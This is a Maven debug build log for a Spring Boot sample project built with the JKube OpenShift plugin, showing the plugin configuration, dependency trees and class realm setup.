[DEBUG] Lifecycle default -> [validate, initialize, generate-sources, process-sources, generate-resources, process-resources, compile, process-classes, generate-test-sources, process-test-sources, generate-test-resources, process-test-resources, test-compile, process-test-classes, test, prepare-package, package, pre-integration-test, integration-test, post-integration-test, verify, install, deploy]
[DEBUG] Lifecycle clean -> [pre-clean, clean, post-clean]
[DEBUG] Lifecycle site -> [pre-site, site, post-site, site-deploy]
[DEBUG] === PROJECT BUILD PLAN ================================================
[DEBUG] Project:       com.ibm.gts.aro:sample:0.0.1-SNAPSHOT
[DEBUG] Dependencies (collect): []
[DEBUG] Dependencies (resolve): [compile]
[DEBUG] Repositories (dependencies): [central (https://repo.maven.apache.org/maven2, default, releases)]
[DEBUG] Repositories (plugins)     : [central (https://repo.maven.apache.org/maven2, default, releases)]
[DEBUG] -----------------------------------------------------------------------
[DEBUG] Goal:          org.eclipse.jkube:oc-maven-plugin:0.1.1:build (default-cli)
[DEBUG] Style:         Regular
[DEBUG] Configuration: <?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <apiVersion>${docker.apiVersion}</apiVersion>
  <autoCreateCustomNetworks default-value="false">${docker.autoCreateCustomNetworks}</autoCreateCustomNetworks>
  <autoPull>${docker.autoPull}</autoPull>
  <buildRecreate default-value="none">${jkube.build.recreate}</buildRecreate>
  <buildStrategy>${jkube.build.strategy}</buildStrategy>
  <certPath>${docker.certPath}</certPath>
  <containerNamePattern>${docker.containerNamePattern}</containerNamePattern>
  <dockerHost>${docker.host}</dockerHost>
  <environment>${jkube.environment}</environment>
  <filter>${docker.filter}</filter>
  <forcePull default-value="false">${jkube.build.forcePull}</forcePull>
  <generator>
    <includes>
      <include>spring-boot</include>
    </includes>
    <config>
      <spring-boot>
        <alias>spring-boot</alias>
        <from>registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest</from>
      </spring-boot>
    </config>
  </generator>
  <imagePullPolicy>${docker.imagePullPolicy}</imagePullPolicy>
  <keepContainer default-value="false">${docker.keepContainer}</keepContainer>
  <keepRunning default-value="false">${docker.keepRunning}</keepRunning>
  <logDate>${docker.logDate}</logDate>
  <logStdout default-value="false">${docker.logStdout}</logStdout>
  <maxConnections default-value="100">${docker.maxConnections}</maxConnections>
  <mode>${jkube.mode}</mode>
  <openshiftPullSecret default-value="pullsecret-jkube">${jkube.build.pullSecret}</openshiftPullSecret>
  <outputDirectory default-value="target/docker">${docker.target.dir}</outputDirectory>
  <profile>${jkube.profile}</profile>
  <project default-value="${project}"/>
  <pullRegistry>${docker.pull.registry}</pullRegistry>
  <reactorProjects default-value="${reactorProjects}"/>
  <registry>${docker.registry}</registry>
  <removeVolumes default-value="false">${docker.removeVolumes}</removeVolumes>
  <resourceDir default-value="${basedir}/src/main/jkube">${jkube.resourceDir}</resourceDir>
  <s2iBuildNameSuffix default-value="">${jkube.s2i.buildNameSuffix}</s2iBuildNameSuffix>
  <s2iImageStreamLookupPolicyLocal default-value="true">${jkube.s2i.imageStreamLookupPolicyLocal}</s2iImageStreamLookupPolicyLocal>
  <session default-value="${session}"/>
  <settings default-value="${settings}"/>
  <skip default-value="false">${jkube.skip}</skip>
  <skipBuild default-value="false">${docker.skip.build}</skipBuild>
  <skipBuildPom>${jkube.skip.build.pom}</skipBuildPom>
  <skipExtendedAuth default-value="false">${docker.skip.extendedAuth}</skipExtendedAuth>
  <skipMachine default-value="false">${docker.skip.machine}</skipMachine>
  <sourceDirectory default-value="src/main/docker">${docker.source.dir}</sourceDirectory>
  <useColor default-value="true">${docker.useColor}</useColor>
  <useProjectClasspath default-value="false">${jkube.useProjectClasspath}</useProjectClasspath>
  <verbose default-value="false">${docker.verbose}</verbose>
  <watchInterval default-value="5000">${docker.watchInterval}</watchInterval>
  <watchMode default-value="both">${docker.watchMode}</watchMode>
  <watchPostExec>${docker.watchPostExec}</watchPostExec>
  <watchPostGoal>${docker.watchPostGoal}</watchPostGoal>
</configuration>
[DEBUG] =======================================================================
[DEBUG] Dependency collection stats: {ConflictMarker.analyzeTime=1749248, ConflictMarker.markTime=987805, ConflictMarker.nodeCount=257, ConflictIdSorter.graphTime=1081454, ConflictIdSorter.topsortTime=3924860, ConflictIdSorter.conflictIdCount=103, ConflictIdSorter.conflictIdCycleCount=0, ConflictResolver.totalTime=18123712, ConflictResolver.conflictItemCount=189, DefaultDependencyCollector.collectTime=592281961, DefaultDependencyCollector.transformTime=28285458}
[DEBUG] com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT
[DEBUG]    org.springframework.boot:spring-boot-starter-actuator:jar:2.2.4.RELEASE:compile
[DEBUG]       org.springframework.boot:spring-boot-starter:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]          org.springframework.boot:spring-boot-starter-logging:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]             ch.qos.logback:logback-classic:jar:1.2.3:compile (version managed from 1.2.3)
[DEBUG]                ch.qos.logback:logback-core:jar:1.2.3:compile (version managed from 1.2.3)
[DEBUG]             org.apache.logging.log4j:log4j-to-slf4j:jar:2.12.1:compile (version managed from 2.12.1)
[DEBUG]                org.apache.logging.log4j:log4j-api:jar:2.12.1:compile (version managed from 2.12.1)
[DEBUG]             org.slf4j:jul-to-slf4j:jar:1.7.30:compile (version managed from 1.7.30)
[DEBUG]          jakarta.annotation:jakarta.annotation-api:jar:1.3.5:compile (version managed from 1.3.5)
[DEBUG]          org.yaml:snakeyaml:jar:1.25:runtime (version managed from 1.25)
[DEBUG]       org.springframework.boot:spring-boot-actuator-autoconfigure:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]          org.springframework.boot:spring-boot-actuator:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]          com.fasterxml.jackson.core:jackson-databind:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG]             com.fasterxml.jackson.core:jackson-annotations:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG]          org.springframework:spring-context:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]          com.fasterxml.jackson.datatype:jackson-datatype-jsr310:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG]       io.micrometer:micrometer-core:jar:1.3.2:compile (version managed from 1.3.2)
[DEBUG]          org.hdrhistogram:HdrHistogram:jar:2.1.11:compile
[DEBUG]          org.latencyutils:LatencyUtils:jar:2.0.3:compile
[DEBUG]    org.springframework.boot:spring-boot-starter-thymeleaf:jar:2.2.4.RELEASE:compile
[DEBUG]       org.thymeleaf:thymeleaf-spring5:jar:3.0.11.RELEASE:compile (version managed from 3.0.11.RELEASE)
[DEBUG]          org.thymeleaf:thymeleaf:jar:3.0.11.RELEASE:compile (version managed from 3.0.11.RELEASE)
[DEBUG]             org.attoparser:attoparser:jar:2.0.5.RELEASE:compile
[DEBUG]             org.unbescape:unbescape:jar:1.1.6.RELEASE:compile
[DEBUG]       org.thymeleaf.extras:thymeleaf-extras-java8time:jar:3.0.4.RELEASE:compile (version managed from 3.0.4.RELEASE)
[DEBUG]    org.springframework.boot:spring-boot-starter-web:jar:2.2.4.RELEASE:compile
[DEBUG]       org.springframework.boot:spring-boot-starter-json:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]          com.fasterxml.jackson.datatype:jackson-datatype-jdk8:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG]          com.fasterxml.jackson.module:jackson-module-parameter-names:jar:2.10.2:compile (version managed from 2.10.2)
[DEBUG]       org.springframework.boot:spring-boot-starter-tomcat:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]          org.apache.tomcat.embed:tomcat-embed-core:jar:9.0.30:compile (version managed from 9.0.30)
[DEBUG]          org.apache.tomcat.embed:tomcat-embed-el:jar:9.0.30:compile (version managed from 9.0.30)
[DEBUG]          org.apache.tomcat.embed:tomcat-embed-websocket:jar:9.0.30:compile (version managed from 9.0.30)
[DEBUG]       org.springframework.boot:spring-boot-starter-validation:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]          jakarta.validation:jakarta.validation-api:jar:2.0.2:compile (version managed from 2.0.2)
[DEBUG]          org.hibernate.validator:hibernate-validator:jar:6.0.18.Final:compile (version managed from 6.0.18.Final)
[DEBUG]             org.jboss.logging:jboss-logging:jar:3.4.1.Final:compile (version managed from 3.3.2.Final)
[DEBUG]             com.fasterxml:classmate:jar:1.5.1:compile (version managed from 1.3.4)
[DEBUG]       org.springframework:spring-web:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]          org.springframework:spring-beans:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]       org.springframework:spring-webmvc:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]          org.springframework:spring-aop:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]          org.springframework:spring-expression:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]    org.webjars:webjars-locator-core:jar:0.41:compile
[DEBUG]       org.slf4j:slf4j-api:jar:1.7.30:compile (version managed from 1.7.7)
[DEBUG]       io.github.classgraph:classgraph:jar:4.8.44:compile
[DEBUG]       com.fasterxml.jackson.core:jackson-core:jar:2.10.2:compile (version managed from 2.9.8)
[DEBUG]       org.webjars.npm:angular__http:jar:2.4.10:compile
[DEBUG]    org.webjars:bootstrap:jar:3.3.7:compile
[DEBUG]    org.webjars:jquery:jar:3.1.1-1:compile
[DEBUG]    org.springframework.boot:spring-boot-devtools:jar:2.2.4.RELEASE:runtime (optional)
[DEBUG]       org.springframework.boot:spring-boot:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]       org.springframework.boot:spring-boot-autoconfigure:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]    org.springframework.boot:spring-boot-starter-test:jar:2.2.4.RELEASE:test
[DEBUG]       org.springframework.boot:spring-boot-test:jar:2.2.4.RELEASE:test (version managed from 2.2.4.RELEASE)
[DEBUG]       org.springframework.boot:spring-boot-test-autoconfigure:jar:2.2.4.RELEASE:test (version managed from 2.2.4.RELEASE)
[DEBUG]       com.jayway.jsonpath:json-path:jar:2.4.0:test (version managed from 2.4.0)
[DEBUG]          net.minidev:json-smart:jar:2.3:test
[DEBUG]             net.minidev:accessors-smart:jar:1.2:test
[DEBUG]                org.ow2.asm:asm:jar:5.0.4:test
[DEBUG]       jakarta.xml.bind:jakarta.xml.bind-api:jar:2.3.2:test (version managed from 2.3.2)
[DEBUG]          jakarta.activation:jakarta.activation-api:jar:1.2.1:test (version managed from 1.2.1)
[DEBUG]       org.junit.jupiter:junit-jupiter:jar:5.5.2:test (version managed from 5.5.2)
[DEBUG]          org.junit.jupiter:junit-jupiter-api:jar:5.5.2:test (version managed from 5.5.2)
[DEBUG]             org.apiguardian:apiguardian-api:jar:1.1.0:test
[DEBUG]             org.opentest4j:opentest4j:jar:1.2.0:test
[DEBUG]             org.junit.platform:junit-platform-commons:jar:1.5.2:test (version managed from 1.5.2)
[DEBUG]          org.junit.jupiter:junit-jupiter-params:jar:5.5.2:test (version managed from 5.5.2)
[DEBUG]          org.junit.jupiter:junit-jupiter-engine:jar:5.5.2:test (version managed from 5.5.2)
[DEBUG]             org.junit.platform:junit-platform-engine:jar:1.5.2:test (version managed from 1.5.2)
[DEBUG]       org.mockito:mockito-junit-jupiter:jar:3.1.0:test (version managed from 3.1.0)
[DEBUG]       org.assertj:assertj-core:jar:3.13.2:test (version managed from 3.13.2)
[DEBUG]       org.hamcrest:hamcrest:jar:2.1:test (version managed from 2.1)
[DEBUG]       org.mockito:mockito-core:jar:3.1.0:test (version managed from 3.1.0)
[DEBUG]          net.bytebuddy:byte-buddy:jar:1.10.6:test (version managed from 1.9.10)
[DEBUG]          net.bytebuddy:byte-buddy-agent:jar:1.10.6:test (version managed from 1.9.10)
[DEBUG]          org.objenesis:objenesis:jar:2.6:test
[DEBUG]       org.skyscreamer:jsonassert:jar:1.5.0:test (version managed from 1.5.0)
[DEBUG]          com.vaadin.external.google:android-json:jar:0.0.20131108.vaadin1:test
[DEBUG]       org.springframework:spring-core:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]          org.springframework:spring-jcl:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]       org.springframework:spring-test:jar:5.2.3.RELEASE:test (version managed from 5.2.3.RELEASE)
[DEBUG]       org.xmlunit:xmlunit-core:jar:2.6.3:test (version managed from 2.6.3)
[DEBUG]    org.springframework.boot:spring-boot-starter-data-redis:jar:2.2.4.RELEASE:compile
[DEBUG]       org.springframework.data:spring-data-redis:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]          org.springframework.data:spring-data-keyvalue:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]             org.springframework.data:spring-data-commons:jar:2.2.4.RELEASE:compile (version managed from 2.2.4.RELEASE)
[DEBUG]          org.springframework:spring-tx:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]          org.springframework:spring-oxm:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]          org.springframework:spring-context-support:jar:5.2.3.RELEASE:compile (version managed from 5.2.3.RELEASE)
[DEBUG]       io.lettuce:lettuce-core:jar:5.2.1.RELEASE:compile (version managed from 5.2.1.RELEASE)
[DEBUG]          io.netty:netty-common:jar:4.1.45.Final:compile (version managed from 4.1.43.Final)
[DEBUG]          io.netty:netty-handler:jar:4.1.45.Final:compile (version managed from 4.1.43.Final)
[DEBUG]             io.netty:netty-buffer:jar:4.1.45.Final:compile (version managed from 4.1.45.Final)
[DEBUG]             io.netty:netty-codec:jar:4.1.45.Final:compile (version managed from 4.1.45.Final)
[DEBUG]          io.netty:netty-transport:jar:4.1.45.Final:compile (version managed from 4.1.43.Final)
[DEBUG]             io.netty:netty-resolver:jar:4.1.45.Final:compile (version managed from 4.1.45.Final)
[DEBUG]          io.projectreactor:reactor-core:jar:3.3.2.RELEASE:compile (version managed from 3.3.0.RELEASE)
[DEBUG]             org.reactivestreams:reactive-streams:jar:1.0.3:compile (version managed from 1.0.3)
[DEBUG]    org.projectlombok:lombok:jar:1.18.10:compile
[INFO] 
[INFO] --- oc-maven-plugin:0.1.1:build (default-cli) @ sample ---
[DEBUG] Dependency collection stats: {ConflictMarker.analyzeTime=347781, ConflictMarker.markTime=281258, ConflictMarker.nodeCount=224, ConflictIdSorter.graphTime=361273, ConflictIdSorter.topsortTime=133903, ConflictIdSorter.conflictIdCount=132, ConflictIdSorter.conflictIdCycleCount=0, ConflictResolver.totalTime=8676180, ConflictResolver.conflictItemCount=199, DefaultDependencyCollector.collectTime=735910120, DefaultDependencyCollector.transformTime=9955784}
[DEBUG] org.eclipse.jkube:oc-maven-plugin:jar:0.1.1:
[DEBUG]    org.eclipse.jkube:jkube-kit-build-service-docker:jar:0.1.1:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-build-maven:jar:0.1.1:compile
[DEBUG]          org.eclipse.jkube:jkube-kit-build-api:jar:0.1.1:compile
[DEBUG]             org.eclipse.jkube:jkube-kit-config-image:jar:0.1.1:compile
[DEBUG]             commons-codec:commons-codec:jar:1.13:compile
[DEBUG]       org.apache.httpcomponents:httpclient:jar:4.5.6:compile
[DEBUG]          org.apache.httpcomponents:httpcore:jar:4.4.10:compile
[DEBUG]          commons-logging:commons-logging:jar:1.2:compile
[DEBUG]       com.github.jnr:jnr-unixsocket:jar:0.12:compile
[DEBUG]          com.github.jnr:jnr-ffi:jar:2.0.9:compile
[DEBUG]             com.github.jnr:jffi:jar:1.2.11:compile
[DEBUG]             com.github.jnr:jffi:jar:native:1.2.11:runtime
[DEBUG]             org.ow2.asm:asm:jar:5.0.3:compile
[DEBUG]             org.ow2.asm:asm-commons:jar:5.0.3:compile
[DEBUG]             org.ow2.asm:asm-analysis:jar:5.0.3:compile
[DEBUG]             org.ow2.asm:asm-tree:jar:5.0.3:compile
[DEBUG]             org.ow2.asm:asm-util:jar:5.0.3:compile
[DEBUG]             com.github.jnr:jnr-x86asm:jar:1.0.2:compile
[DEBUG]          com.github.jnr:jnr-constants:jar:0.9.1:compile
[DEBUG]          com.github.jnr:jnr-enxio:jar:0.12:compile
[DEBUG]          com.github.jnr:jnr-posix:jar:3.0.29:compile
[DEBUG]       org.bouncycastle:bcpkix-jdk15on:jar:1.61:compile
[DEBUG]          org.bouncycastle:bcprov-jdk15on:jar:1.61:compile
[DEBUG]       org.apache.commons:commons-text:jar:1.1:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-enricher-generic:jar:0.1.1:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-enricher-api:jar:0.1.1:compile
[DEBUG]          org.eclipse.jkube:jkube-kit-resource-service:jar:0.1.1:compile
[DEBUG]          com.google.code.findbugs:jsr305:jar:3.0.2:compile
[DEBUG]       io.fabric8:ianaservicehelper:jar:0.0.1:compile
[DEBUG]       com.google.code.gson:gson:jar:2.8.5:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-enricher-specific:jar:0.1.1:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-generator-java-exec:jar:0.1.1:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-generator-api:jar:0.1.1:compile
[DEBUG]          org.jboss.shrinkwrap:shrinkwrap-api:jar:1.2.6:compile
[DEBUG]          org.jboss.shrinkwrap:shrinkwrap-spi:jar:1.2.6:compile
[DEBUG]          org.jboss.shrinkwrap:shrinkwrap-impl-base:jar:1.2.6:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-generator-karaf:jar:0.1.1:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-generator-webapp:jar:0.1.1:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:jar:0.1.1:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-thorntail:jar:0.1.1:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-spring-boot:jar:0.1.1:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-watcher-api:jar:0.1.1:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-quarkus:jar:0.1.1:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-common-maven:jar:0.1.1:compile
[DEBUG]          org.eclipse.jkube:jkube-kit-common:jar:0.1.1:compile
[DEBUG]             io.fabric8:kubernetes-client:jar:4.6.2:compile
[DEBUG]                io.fabric8:kubernetes-model:jar:4.6.2:compile
[DEBUG]                   io.fabric8:kubernetes-model-common:jar:4.6.2:compile
[DEBUG]                   com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.9.10:compile
[DEBUG]                com.squareup.okhttp3:okhttp:jar:3.12.6:compile
[DEBUG]                   com.squareup.okio:okio:jar:1.15.0:compile
[DEBUG]                com.squareup.okhttp3:logging-interceptor:jar:3.12.6:compile
[DEBUG]                io.fabric8:zjsonpatch:jar:0.3.0:compile
[DEBUG]                com.github.mifmif:generex:jar:1.0.2:compile
[DEBUG]                   dk.brics.automaton:automaton:jar:1.11-8:compile
[DEBUG]             io.fabric8:openshift-client:jar:4.6.2:compile
[DEBUG]             org.apache.commons:commons-lang3:jar:3.8.1:compile
[DEBUG]             org.apache.commons:commons-compress:jar:1.19:compile
[DEBUG]             commons-io:commons-io:jar:2.6:compile
[DEBUG]             com.google.guava:guava:jar:27.0-jre:compile
[DEBUG]                com.google.guava:failureaccess:jar:1.0:compile
[DEBUG]                com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava:compile
[DEBUG]                org.checkerframework:checker-qual:jar:2.5.2:compile
[DEBUG]                com.google.errorprone:error_prone_annotations:jar:2.2.0:compile
[DEBUG]                com.google.j2objc:j2objc-annotations:jar:1.1:compile
[DEBUG]                org.codehaus.mojo:animal-sniffer-annotations:jar:1.17:compile
[DEBUG]             com.fasterxml.jackson.core:jackson-core:jar:2.10.0:compile
[DEBUG]             com.fasterxml.jackson.core:jackson-databind:jar:2.10.0:compile
[DEBUG]                com.fasterxml.jackson.core:jackson-annotations:jar:2.10.0:compile
[DEBUG]             com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:jar:2.10.0:compile
[DEBUG]             org.slf4j:slf4j-api:jar:1.7.25:compile
[DEBUG]             org.yaml:snakeyaml:jar:1.25:compile
[DEBUG]             org.eclipse.jgit:org.eclipse.jgit:jar:5.3.0.201903130848-r:compile
[DEBUG]                com.jcraft:jsch:jar:0.1.54:compile
[DEBUG]                com.jcraft:jzlib:jar:1.1.1:compile
[DEBUG]                com.googlecode.javaewah:JavaEWAH:jar:1.1.6:compile
[DEBUG]                org.bouncycastle:bcpg-jdk15on:jar:1.60:compile
[DEBUG]             javax.validation:validation-api:jar:2.0.1.Final:compile
[DEBUG]             org.fusesource.jansi:jansi:jar:1.16:compile
[DEBUG]             org.javassist:javassist:jar:3.20.0-GA:compile
[DEBUG]             com.networknt:json-schema-validator:jar:0.1.7:compile
[DEBUG]                org.slf4j:slf4j-ext:jar:1.7.25:compile
[DEBUG]          org.apache.maven:maven-core:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-model:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-settings:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-settings-builder:jar:3.5.4:compile
[DEBUG]                org.codehaus.plexus:plexus-interpolation:jar:1.24:compile
[DEBUG]                org.sonatype.plexus:plexus-sec-dispatcher:jar:1.4:compile
[DEBUG]                   org.sonatype.plexus:plexus-cipher:jar:1.4:compile
[DEBUG]             org.apache.maven:maven-builder-support:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-repository-metadata:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-artifact:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-plugin-api:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-model-builder:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-resolver-provider:jar:3.5.4:compile
[DEBUG]             org.apache.maven.resolver:maven-resolver-impl:jar:1.1.1:compile
[DEBUG]             org.apache.maven.resolver:maven-resolver-api:jar:1.1.1:compile
[DEBUG]             org.apache.maven.resolver:maven-resolver-spi:jar:1.1.1:compile
[DEBUG]             org.apache.maven.resolver:maven-resolver-util:jar:1.1.1:compile
[DEBUG]             org.apache.maven.shared:maven-shared-utils:jar:3.2.1:compile
[DEBUG]             org.eclipse.sisu:org.eclipse.sisu.plexus:jar:0.3.3:compile
[DEBUG]                javax.enterprise:cdi-api:jar:1.0:compile
[DEBUG]                   javax.annotation:jsr250-api:jar:1.0:compile
[DEBUG]             org.eclipse.sisu:org.eclipse.sisu.inject:jar:0.3.3:compile
[DEBUG]             com.google.inject:guice:jar:no_aop:4.2.0:compile
[DEBUG]                aopalliance:aopalliance:jar:1.0:compile
[DEBUG]             javax.inject:javax.inject:jar:1:compile
[DEBUG]             org.codehaus.plexus:plexus-classworlds:jar:2.5.2:compile
[DEBUG]          org.codehaus.plexus:plexus-archiver:jar:3.5:compile
[DEBUG]             org.codehaus.plexus:plexus-utils:jar:3.0.24:compile
[DEBUG]             org.codehaus.plexus:plexus-io:jar:3.0.0:compile
[DEBUG]             org.iq80.snappy:snappy:jar:0.4:compile
[DEBUG]             org.tukaani:xz:jar:1.6:runtime
[DEBUG]          org.apache.maven.plugins:maven-assembly-plugin:jar:3.1.1:compile
[DEBUG]             org.apache.maven.shared:maven-artifact-transfer:jar:0.9.0:compile
[DEBUG]             org.apache.maven.shared:file-management:jar:3.0.0:compile
[DEBUG]             org.apache.maven.shared:maven-shared-io:jar:3.0.0:compile
[DEBUG]                org.apache.maven.wagon:wagon-provider-api:jar:2.10:compile
[DEBUG]             org.apache.maven.shared:maven-filtering:jar:3.1.1:compile
[DEBUG]                org.sonatype.plexus:plexus-build-api:jar:0.0.7:compile
[DEBUG]             org.apache.maven:maven-archiver:jar:3.2.0:compile
[DEBUG]          org.apache.maven.shared:maven-common-artifact-filters:jar:3.1.0:compile
[DEBUG]             org.sonatype.sisu:sisu-inject-plexus:jar:1.4.2:compile
[DEBUG]                org.codehaus.plexus:plexus-component-annotations:jar:1.5.4:compile
[DEBUG]                org.sonatype.sisu:sisu-inject-bean:jar:1.4.2:compile
[DEBUG]                   org.sonatype.sisu:sisu-guice:jar:noaop:2.1.7:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-vertx:jar:0.1.1:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-profiles:jar:0.1.1:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-config-resource:jar:0.1.1:compile
[DEBUG]          org.apache.maven.plugin-tools:maven-plugin-annotations:jar:3.6.0:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-watcher-standard:jar:0.1.1:compile
[DEBUG] Created new class realm plugin>org.eclipse.jkube:oc-maven-plugin:0.1.1
[DEBUG] Importing foreign packages into class realm plugin>org.eclipse.jkube:oc-maven-plugin:0.1.1
[DEBUG]   Imported:  < maven.api
[DEBUG] Populating class realm plugin>org.eclipse.jkube:oc-maven-plugin:0.1.1
[DEBUG]   Included: org.eclipse.jkube:oc-maven-plugin:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-build-service-docker:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-build-maven:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-build-api:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-config-image:jar:0.1.1
[DEBUG]   Included: commons-codec:commons-codec:jar:1.13
[DEBUG]   Included: org.apache.httpcomponents:httpclient:jar:4.5.6
[DEBUG]   Included: org.apache.httpcomponents:httpcore:jar:4.4.10
[DEBUG]   Included: commons-logging:commons-logging:jar:1.2
[DEBUG]   Included: com.github.jnr:jnr-unixsocket:jar:0.12
[DEBUG]   Included: com.github.jnr:jnr-ffi:jar:2.0.9
[DEBUG]   Included: com.github.jnr:jffi:jar:1.2.11
[DEBUG]   Included: com.github.jnr:jffi:jar:native:1.2.11
[DEBUG]   Included: org.ow2.asm:asm:jar:5.0.3
[DEBUG]   Included: org.ow2.asm:asm-commons:jar:5.0.3
[DEBUG]   Included: org.ow2.asm:asm-analysis:jar:5.0.3
[DEBUG]   Included: org.ow2.asm:asm-tree:jar:5.0.3
[DEBUG]   Included: org.ow2.asm:asm-util:jar:5.0.3
[DEBUG]   Included: com.github.jnr:jnr-x86asm:jar:1.0.2
[DEBUG]   Included: com.github.jnr:jnr-constants:jar:0.9.1
[DEBUG]   Included: com.github.jnr:jnr-enxio:jar:0.12
[DEBUG]   Included: com.github.jnr:jnr-posix:jar:3.0.29
[DEBUG]   Included: org.bouncycastle:bcpkix-jdk15on:jar:1.61
[DEBUG]   Included: org.bouncycastle:bcprov-jdk15on:jar:1.61
[DEBUG]   Included: org.apache.commons:commons-text:jar:1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-enricher-generic:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-enricher-api:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-resource-service:jar:0.1.1
[DEBUG]   Included: com.google.code.findbugs:jsr305:jar:3.0.2
[DEBUG]   Included: io.fabric8:ianaservicehelper:jar:0.0.1
[DEBUG]   Included: com.google.code.gson:gson:jar:2.8.5
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-enricher-specific:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-java-exec:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-api:jar:0.1.1
[DEBUG]   Included: org.jboss.shrinkwrap:shrinkwrap-api:jar:1.2.6
[DEBUG]   Included: org.jboss.shrinkwrap:shrinkwrap-spi:jar:1.2.6
[DEBUG]   Included: org.jboss.shrinkwrap:shrinkwrap-impl-base:jar:1.2.6
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-karaf:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-webapp:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-thorntail:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-spring-boot:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-watcher-api:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-quarkus:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-common-maven:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-common:jar:0.1.1
[DEBUG]   Included: io.fabric8:kubernetes-client:jar:4.6.2
[DEBUG]   Included: io.fabric8:kubernetes-model:jar:4.6.2
[DEBUG]   Included: io.fabric8:kubernetes-model-common:jar:4.6.2
[DEBUG]   Included: com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.9.10
[DEBUG]   Included: com.squareup.okhttp3:okhttp:jar:3.12.6
[DEBUG]   Included: com.squareup.okio:okio:jar:1.15.0
[DEBUG]   Included: com.squareup.okhttp3:logging-interceptor:jar:3.12.6
[DEBUG]   Included: io.fabric8:zjsonpatch:jar:0.3.0
[DEBUG]   Included: com.github.mifmif:generex:jar:1.0.2
[DEBUG]   Included: dk.brics.automaton:automaton:jar:1.11-8
[DEBUG]   Included: io.fabric8:openshift-client:jar:4.6.2
